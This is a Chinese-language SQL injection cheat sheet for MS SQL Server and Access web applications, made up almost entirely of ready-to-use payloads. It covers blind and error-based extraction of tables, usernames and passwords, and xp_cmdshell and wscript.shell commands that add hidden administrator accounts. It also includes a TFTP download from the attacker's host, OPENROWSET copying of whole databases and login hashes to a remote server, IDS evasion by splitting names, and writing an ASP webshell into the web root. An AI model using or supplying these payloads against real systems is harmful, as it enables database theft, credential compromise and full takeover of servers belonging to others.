sql注入
1.判断有无注入点
' ; and 1=1 and 1=2
1.1判断数据库类型
(select count(*) from sysobjects)>0
sysobjects(sql) msysobjects(access)
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
针对字符串类型的暴库，暴表
' having 1=1--
' group by users.id having 1=1--
' group by users.id, users.username, users.password, users.privs having 1=1--
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
' union select sum(username) from login--
可判断username列的数据类型
针对数字型
系统表information_schema.table饱含了系统中所有表的信息，这个表中的table_name字段包含了所有的表名
UNION SELECT TOP 1 TABLE_NAME,TABLE_NAME from INFORMATION_SCHEMA.TABLES-
错误中返回了一个表名:syssegments
说明当前数据库包含一个syssegments表,这是在建立数据库的时候系统自动生成的表,我们不关心,接下来继续提交:
union select top 1 table_name,table_name from information_schema.tables where table_name not in('syssegments')-
返错暴表:login
然后利用information_schema.columns表中的column_name字段来得到login表中的字段名:
union select top 1 column_name,column_name from information schema.columns where table_name='login'-
返错暴表:userid
可继续提交得到其他字段:
union select top 1 column_name,column_name from information_schema.columns where table_name='login' and column_name not in('userid')-
可参考如下:
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))--
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and 'sa'=(SELECT System_user)--
and user_name()='dbo'--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')--
xp_cmdshell被删除，恢复,支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'--
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetpub\wwwroot\xplog70.dll'--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscrīpt.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATE 'wscrīpt.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user semi$ 87624908 /add'--
提升:
;DECLARE @shell INT EXEC SP_OACREATE 'wscrīpt.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net localgroup administratos semi$ /add'--
创建一个虚拟目录E盘：
;declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscrīpt.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"'--
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscrīpt.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'
爆库 特殊技巧：:%5c='\' 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell 'net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators jiaoniang$ /add';--
exec master..xp_servicecontrol 'start', 'schedule' 启动服务
exec master..xp_servicecontrol 'start', 'server'
; DECLARE @shell INT EXEC SP_OACREATE 'wscrīpt.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add'
;DECLARE @shell INT EXEC SP_OACREATE 'wscrīpt.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add'
'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-- 利用TFTP上传文件
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
;update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--
';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, 'admin''--', 'password', 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
;declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1' )
参数: (1) OLEDB Provider name
2、 其中连接字符串参数可以是任何端口用来连接,比如
select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;', 'select * from table'
3.复制目标主机的整个数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=123', 'select * from table1') select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from table2
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysdatabases')
select * from master.dbo.sysdatabases
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysobjects')
select * from user_database.dbo.sysobjects
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _syscolumns')
select * from user_database.dbo.syscolumns
复制数据库：
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table1') select * from database..table1
insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from table2') select * from database..table2
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET('SQLOLEDB', 'uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;','select * from _sysxlogins') select * from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法： 先创建一个临时表：temp
';create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
';insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
';insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构,并寸入temp表中
';insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看某个文件的内容
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'dir c:\ *.asp /s/a';--
';insert into temp(id) exec master.dbo.xp_cmdshell 'cscrīpt C:\Inetpub\Adminscrīpts\adsutil.vbs enum w3svc'
';insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- （xp_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));--
语句2：and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));--
语句3：and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));--
语句4：and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句5：and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));--
语句6：and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));--
语句7：and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句8：and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));--
语句9：and 1=(SELECT IS_MEMBER('db_owner'));--
把路径写到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'c:\'--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree 'e:\web'--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录：下载
;declare @a sysname; set @a=db_name();backup database @a to disk='e:\web\down.bak';--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id('USER_LOGIN'),1) from sysobjects) 参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=- wscrīpt.shell example -=-
declare @o int
exec sp_oacreate 'wscrīpt.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
'; declare @o int exec sp_oacreate 'wscrīpt.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'--
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate 'scrīpting.filesystemobject', @o out
exec sp_oamethod @o, 'opentextfile', @f out, 'c:\boot.ini', 1
exec @ret = sp_oamethod @f, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f, 'readline', @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scrīpting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\inetpub\wwwroot\foo.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% set o = server.createobject("wscrīpt.shell"): o.run( request.querystring("cmd") ) %>'
declare @o int, @ret int
exec sp_oacreate 'speech.voicetext', @o out
exec sp_oamethod @o, 'register', NULL, 'foo', 'bar'
exec sp_oasetproperty @o, 'speed', 150
exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to,us', 528
waitfor delay '00:00:05'
'; declare @o int, @ret int exec sp_oacreate 'speech.voicetext', @o out exec sp_oamethod @o, 'register', NULL, 'foo', 'bar' exec sp_oasetproperty @o, 'speed', 150 exec sp_oamethod @o, 'speak', NULL, 'all your sequel servers are belong to us', 528 waitfor delay '00:00:05'--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree 'c:\'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree 'c:\'
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果,一步步达到我们想要的信息！
